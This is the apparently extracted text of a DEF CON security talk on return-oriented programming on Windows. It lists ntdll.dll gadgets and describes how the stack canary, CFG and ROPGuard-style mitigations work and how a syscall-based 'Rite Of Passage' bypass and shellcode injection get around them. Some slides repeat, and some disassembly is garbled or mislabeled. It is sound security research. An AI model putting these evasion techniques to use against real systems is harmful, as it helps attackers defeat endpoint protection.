mov rdx, 0xffffffff
mov r8, 0x1
mov r9, 0xdeadbeef
sub rsp, 0x20

\[
\text{call A64BitFunction}
\]
64 bit Call Semantics

A64BitFunction(0x00c0ffee, 0xffffffff, 1, 0xdeadbeef, 0x10101010)

push 0x10101010
mov rcx, 0x00c0ffee
mov rdx, 0xffffffff
mov r8, 0x1
mov r9, 0xdeadbeef
sub rsp, 0x20
call A64BitFunction
Return Oriented Programming - Usage

- **VirtualProtect**
  - Modifies memory protection
  - Used to change memory into executable memory

- **VirtualAlloc**
  - Allows to allocate executable memory
  - Should be used in conjunction with memcpy

- **Endpoint Protection** monitor those and similar functions
Return Oriented Programming

- Applications
- DLLs
  - Kernel32.dll
  - User32.dll
  - Ntdll.dll

User Mode

Kernel Mode
Return Oriented Programming

User Mode

Kernel Mode

Applications

DLLs

Kernel32.dll

User32.dll

Ntdll.dll
ROP Gadgets on ntdll.dll

RtlCopyLuid function
04/16/2018 • 2 minutes to read

The RtlCopyLuid routine copies a locally unique identifier (LUID) to a buffer.

Syntax

```
NTSYSAPI VOID RtlCopyLuid(
    PLUID DestinationLuid,
    PLUID SourceLuid
);
```
RtlCopyLuid function

04/16/2018 • 2 minutes to read

The RtlCopyLuid routine copies a locally unique identifier (LUID) to a buffer.

Syntax

```c
NTSYSAPI VOID RtlCopyLuid(
    PLUID DestinationLuid,
    PLUID SourceLuid
);
```

Parameters

- **DestinationLuid**
  - Pointer to a caller-allocated buffer to receive a copy of the source LUID structure.
  - The buffer must be at least `sizeof(LUID)`.

- **SourceLuid**
  - Pointer to the source LUID structure to be copied.

Return Value

None
ROP Gadgets on ntdll.dll

ntdll!RtlCopyLuid:

48 8b 02    mov    rax, [rdx]
48 89 01    mov    [rcx], rax
C3          ret
ROP Gadgets on ntdll.dll

ntdll!RtlCopyLuid:

48 8b 02        mov     rax, [rdx]
48 89 01        mov     [rcx], rax
C3              ret
ROP Gadgets on ntdll.dll

ntdll!RtlSetExtendedFeaturesMask (last part):

488908  ... mov [rax], rcx
4883c428  add rsp, 28h
0c3  ret
ROP Gadgets on ntdll.dll

(≈30 occurrences on ntdll.dll):
48 83 c4 58 add rsp, 58h
c3 ret
ROP Gadgets on ntdll.dll

(~30 occurrences on ntdll.dll):
48  83  c4  58  ...  pop  rax

c3  ret
ROP Gadgets on ntdll.dll

(~3 occurrences on ntdll.dll):
f2 0f 59 c3    mulsd   xmm0,xmm3
ROP Gadgets on ntdll.dll

(~3 occurrences on ntdll.dll):

f2 0f 59 c3  ... pop rcx
ret
ntdll!_chkstk (last part of function):
4c 8b 14 24 ... mov r10, [rsp]
4c 8b 5c 24 08 mov r11, [rsp+8]
48 83 c4 10 add rsp, 0x10
c3 ret
ntdll!_chkstk (last part of function):

4c 8b 14 24  ... mov    r10, [rsp]    pop r10
4c 8b 5c 24 08  mov    r11, [rsp+8]  pop r11
48 83 c4 10  add    rsp, 0x10     ret
c3          ret
ROP Gadgets on ntdll.dll

ntdll!_chkstk (last part of function):

4c 8b 14 24     mov     edx, [rsp]    pop edx
4c 8b 5c 24 08  mov     r11, [rsp+8]  pop r11
48 83 c4 10     add     rsp, 0x10     ret
43              ret
ROP Gadgets on ntdll.dll

(~50 occurrences on ntdll.dll):
41 5c       pop     r12
c3          ret
(≈50 occurrences on ntdll.dll):
41 5c  ...> pop   rsp
c3  ret
ROP Gadgets on ntdll.dll

```c
NTSTATUS NtContinue(
    CONTEXT *ThreadContext,
    BOOLEAN Alertable);
```
NTSTATUS NtContinue(
    CONTEXT *ThreadContext,
    BOOLEAN Alertable);

Contains processor-specific register data. The system uses CONTEXT structures to perform various internal operations. Refer to the header file WinNT.h for definitions of this structure for each processor architecture.

Syntax

```cpp
typedef struct _CONTEXT {
    DWORD64 P1Home;
    DWORD64 P2Home;
    DWORD64 P3Home;
    DWORD64 P4Home;
    DWORD64 PSHome;
    DWORD64 P5Home;
    DWORD64 ContextFlags;
    DWORD64 Other[4];
} CONTEXT;
```
ROp Gadgets on ntdll.dll

NTSTATUS NtContinue(
    CONTEXT *ThreadContext,
    BOOLEAN Alertable);
ROP Gadgets on ntdll.dll

NTSTATUS NtContinue(
    CONTEXT    *ThreadContext,
    BOOLEAN    Alertable);

VOID    RtlMoveMemory(
    VOID    *Destination,
    VOID    *Source,
    SIZE_T  Length);
Readymade Technique

Fountain
Marcel Duchamp, 1917
Readymade Technique

Whether Mr. Mutt with his own hands made the fountain or not has no importance. He CHOSE it. He took an ordinary article of life, and placed it so that its useful significance disappeared under the new title and point of view – created a new thought for that object.
Windows Exploit Mitigations
Return Oriented Programming - Timeline

1988
- Morris Worm

1996
- Canary Stack
- Smashing The Stack For Fun And Profit

2003
- Visual Studio 2005

2004
- DEP
- Windows XP SP2

2006
- ASLR
- Windows Vista

2007
- ROP
- “The Geometry of Innocent Flesh on the Bone” by Hovav Shacham
Canary Stack

- Protects against buffer overflow
- Generate random “base canary value” when process starts
- Writes cookie on the stack before return address
- Check if cookie is valid before performing ret opcode
- If not, crash the process
- Requires to recompile current software
int QueryUser()
{
    mov ecx, base_canary_value
    xor ecx, esp
    push ecx
        char buffer[512];
        gets(buffer);
    ...
    pop ecx,
    xor ecx, esp
    call verify_canary_value(ecx)
        return 1;
}
int QueryUser()
{
    mov ecx, base_canary_value
    xor ecx, esp
    push ecx
        char buffer[512];
        gets(buffer);
        ...
    pop ecx,
    xor ecx, esp
    call verify_canary_value(ecx)
        return 1;
}
Canary Stack

```c
int QueryUser()
{
    mov ecx, base_canary_value
    xor ecx, esp
    push ecx
    char buffer[512];
    gets(buffer);
    ... pop ecx,
    xor ecx, esp
    call verify_canary_value(ecx)
    return 1;
}
```
int QueryUser()
{
    mov ecx, base_canary_value
    xor ecx, esp
    push ecx
    char buffer[512];
    gets(buffer);
    ...
    pop ecx,
    xor ecx, esp
    call verify_canary_value(ecx)
    return 1;
}

0x0080E00

push ‘/sh’
push ‘/bin’
push esp
call execv
nop
nop	nop
nop	nop
nop	nop

0x00804000

[Cookie] 0x00803E00

nop
Windows 8 ROP Mitigation

• Detects stack pivot
• Ensure RSP is in valid range on memory functions
Windows 8 ROP Mitigation

• Detects stack pivot
• Ensure RSP is in valid range on memory functions
• Bypass by setting RSP to correct range before calling Win32 API
• Detects stack pivot
• Ensure RSP is in valid range on memory functions
• Bypass by setting RSP to correct range before calling Win32 API
• How can we fetch RSP’s value?
A Little Bird Told Me

Abusing Canary Stack to fetch the value of RSP

Surrey Bird Club, England
Martin Parr, 1972
A Little Bird Told Me

• Prepare registers
• Benign function that uses Canary Stack
• Fetch Canary cookie from the stack
  • “Use / Read after free”
• Xor it with base canary value
  • Previously fetched using an arbitrary read vulnerability
Return Oriented Programming - Timeline

1988
- Morris Worm

1996
- Smashing The Stack For Fun And Profit

2003
- Canary Stack
  - Visual Studio 2005

2004
- DEP
  - Windows XP SP2

2006
- ASLR
  - Windows Vista

2007
- ROP
  - “The Geometry of Innocent Flesh on the Bone” by Hovav Shacham

2014/5
- CFG
  - Windows 8.1
  - Visual Studio 2015
Control Flow Guard

• Mitigate control flow hijacking of indirect calls
  call eax
Control Flow Guard

```
mov    rax, [rcx+rax]
mov    r8, r14
mov    rdx, r15
lea    rcx, [rsp+0B8h+var_88]
call   rax
```
Control Flow Guard

```
mov    rax, [rcx+rax]
mov    r8, r14
mov    rdx, r15
lea    rcx, [rsp+0B8h+var_88]
call   cs:__guard_dispatch_icall_fptr
```
Control Flow Guard

- Mitigate control flow hijacking of indirect calls
  call eax
- Coarse grain mitigation
  - Huge bit field
  - Marks start address of all functions in memory
Control Flow Guard

• Mitigate control flow hijacking of indirect calls
call eax

• Coarse grain mitigation
  • Huge bit field
  • Marks start address of all functions in memory

• How can we abuse it?

Baltimore
Devin Allen, 2015
Control Flow Guard

• Mitigate control flow hijacking of indirect calls
  call eax

• Coarse grain mitigation
  • Huge bit field
  • Marks start address of all functions in memory

• How can we abuse it?
  • We already did!
Control Flow Guard

```assembly
mov rax, [rcx+rax]
mov r8, r14
mov rdx, r15
lea rcx, [rsp+0B8h+var_88]
call cs:__guard_dispatch_icall_fptr
```
LdrpValidateUserCallTarget proc near

48 8B 15 A9 51 0D 00  mov  rdx, cs:qword_18016B370
48 8B C1              mov  rax, rcx
48 C1 E8 09           shr  rax, 9
48 8B 14 C2           mov  rdx, [rdx+rax*8]
48 8B C1              mov  rax, rcx
48 C1 E8 03           shr  rax, 3
F6 C1 0F              test cl, 0Fh
75 07                  jnz short loc_1800961E5

loc_1800961E5:

48 0F BA F0 00  btr  rax, 0
48 0F A3 C2       bt  rdx, rax
73 0B              jnb short loc_1800961FB

loc_1800961FB:

48 8B C1          mov  rax, rcx
4D 33 D2          xor  r10, r10
E9 FA FE FF FF   jmp  LdrpHandleInvalidUserCallTarget
LdrpValidateUserCallTarget endp
loc_1800961FB:

48 8B C1  mov    rax, rcx
4D 33 D2  xor    r10, r10
E9 FA FE FF FF  jmp    LdrpHandleInvalidUserCallTarget
LdrpValidateUserCallTarget endp
BOOL SetProcessValidCallTargets(
    HANDLE hProcess,
    PVOID VirtualAddress,
    SIZE_T RegionSize,
    ULONG NumberOfOffsets,
    PCFG_CALL_TARGET_INFO OffsetInformation
);
• CFG blocks indirect calls to SetProcessValidCallTargets
Control Flow Guard

• CFG blocks indirect calls to SetProcessValidCallTargets
• SetProcessValidCallTargets is a wrapper for ntdll function:
  • NtSetInformationVirtualMemory
Control Flow Guard

• CFG blocks indirect calls to SetProcessValidCallTargets
• SetProcessValidCallTargets is a wrapper for ntdll function:
  • NtSetInformationVirtualMemory
• NtSetInformationVirtualMemory is a valid indirect call target!
ROP Mitigations
Return Oriented Programming - Timeline

- **1988**: Morris Worm
- **1996**: Smashing The Stack For Fun And Profit
- **2003**: Canary Stack
  - Visual Studio 2005
- **2004**: DEP
  - Windows XP SP2
- **2006**: ASLR
  - Windows Vista
- **2007**: ROP
  - “The Geometry of Innocent Flesh on the Bone” by Hovav Shacham
- **2012**: ROPGuard
  - kBouncer
- **2014/5**: CFG
  - Windows 8.1
  - Visual Studio 2015
- **2014**: ROPecker
ROP Mitigations

• **ROPGuard**
  • Implemented by most endpoint protection products
  • Strategic hooks on memory functions
  • Opcode before return address is a call instruction
  • Call instructions leads back to hooked function
ROP Mitigations

• ROPGuard
  • Implemented by most endpoint protection products
  • Strategic hooks on memory functions
  • Opcode before return address is a call instruction
  • Call instructions leads back to hooked function

• kBouncer
  • Utilizes Last Branch Records on modern CPU
  • Performs variation of ROPGuard checks on those addresses
  • Requires user-mode hooks on strategic locations
ROP Mitigations

• ROPecker
  • Allows only two executable memory pages
  • Utilizes Last Branch Records on modern CPU
  • Consider ROP gadget only if less than 6 instructions
ROP Mitigations

• ROPecker
  • Allows only two executable memory pages
  • Utilizes Last Branch Records on modern CPU
  • Consider ROP gadget only if less than 6 instructions

• Shadow Stack
  • Two different stacks
    • Regular stack for data (and return addresses)
    • Matching kernel stack for only return addresses
  • On ret opcode - compare both
  • First paper published on 2016, not yet implemented
The Beast Is In Your Memory
by Daniel Lehmann and Ahmad-Reza Sadeghi

How to bypass ROPecker and kBouncer by abusing their heuristics

(BlackHat 2014)
Rite Of Passage

Bypassing ROP Mitigations

FRANCE. Paris. 5th arrondissement. Students in a chain passing cobble stones for the barricades, Gay Lussac Street Bruno Barbey, 1968
Rite Of Passage - Bypassing ROP Mitigations

- Syscall semantics – transition from user mode to kernel mode
Rite Of Passage - Bypassing ROP Mitigations

• Syscall semantics – transition from user mode to kernel mode

ntdll!NtAllocateVirtualMemory:

mov r10,rcx
mov eax,18h
syscall
ret
Rite Of Passage - Bypassing ROP Mitigations

• Syscall semantics – transition from user mode to kernel mode

ntdll!NtAllocateVirtualMemory:
mov r10,rcx
mov eax,18h
syscall
ret
Rite Of Passage - Bypassing ROP Mitigations

- Syscall semantics – transition from user mode to kernel mode

```
ntdll!NtAllocateVirtualMemory:
  mov     r10,rcx
  mov     eax,18h
  syscall
  ret
```
Rite Of Passage - Bypassing ROP Mitigations

- Syscall semantics – transition from user mode to kernel mode

```assembly
ntdll!NtAllocateVirtualMemory:
    mov      r10,rcx
    mov      eax,18h
    syscall
    ret
```
Rite Of Passage - Bypassing ROP Mitigations

- Syscall semantics – transition from user mode to kernel mode

```assembly
ntdll!NtAllocateVirtualMemory:
mov    r10,rcx
mov    eax,18h
syscall
ret
```
Rite Of Passage - Bypassing ROP Mitigations

- Syscall semantics – transition from user mode to kernel mode

ntdll!NtAllocateVirtualMemory:
mov r10,rcx jmp EndpointProtectionHook
mov eax,18h
syscall
ret
Rite Of Passage - Bypassing ROP Mitigations

- **syscall semantics** – transition from user mode to kernel mode

```c
ntdll!NtAllocateVirtualMemory:
  mov     r10,rcx
  jmp     EndpointProtectionHook
  mov     eax,18h
  syscall
  ret
```
Rite Of Passage - Bypassing ROP Mitigations

• Syscall semantics – transition from user mode to kernel mode

ntdll!NtYieldExecution:
mov r10,rcx
mov eax,46h
syscall
ret
pop rax       // Load system call number
ret
pop rax  // Load system call number
ret

mov r10, [rsp]  // Prepare first parameter
mov r11, [rsp + 0x8]
add rsp, 0x10
ret
Rite Of Passage - Bypassing ROP Mitigations

pop rax  // Load system call number
ret

mov r10, [rsp]  // Prepare first parameter
mov r11, [rsp + 0x8]
add rsp, 0x10
ret

ntdll!NtYieldExecution:
    mov    r10,rcx
    mov    eax,46h
    syscall
ret
Rite Of Passage - Bypassing ROP Mitigations

```assembly
pop rax       // Load system call number
ret

mov r10, [rsp]  // Prepare first parameter
mov r11, [rsp + 0x8]
add rsp, 0x10
ret

ntdll!NtYieldExecution + 0x12:
syscall       // Execute in kernel
ret
```
Rite Of Passage - Bypassing ROP Mitigations

pop rax // Load system call number
ret

mov r10, [rsp] // Prepare first parameter
mov r11, [rsp + 0x8]
add rsp, 0x10
ret

ntdll!NtYieldExecution + 0x12:
syscall // Execute in kernel
ret

ret
Rite Of Passage - ROPInjector

- Writes shellcode into Read / Write memory
- Creates a thread
- Injects ROP to thread
- ROP Modifies protection to Read / Write / Execute
  - Virtual Protect
  - Rite Of Passage call to NtProtectVirtualMemory
- Runs Shellcode
Exploiting a Windows Exploit for Mitigating Rite Of Passage Exploits

Omer Yair
DEF CON 27
InfinityHook

• By Nick Peterson
• Exploits Windows Event Tracing to hook syscall on kernel
• Can be leveraged to protect against Rite Of Passage bypass
  • Verify the syscall number against origin
• https://github.com/everdox/InfinityHook
Takeaways

• Have fun!
• ROP remains a viable threat
• Security industry needs to respond faster
• Utilize the brains in academy to verify security solutions
• Break it to make it better
References

• Smashing The Stack For Fun And Profit, Aleph One, 1996
• The Geometry of Innocent Flesh on the Bone, Hovav Shacham, 2007
• The Beast Is In Your Memory, Daniel Lehmann and Ahmad-Reza Sadeghi 2014
• InfinityHook, Nick Peterson, 2019  
  https://github.com/everdox/InfinityHook

• https://github.com/OmerYa
• @yair_omer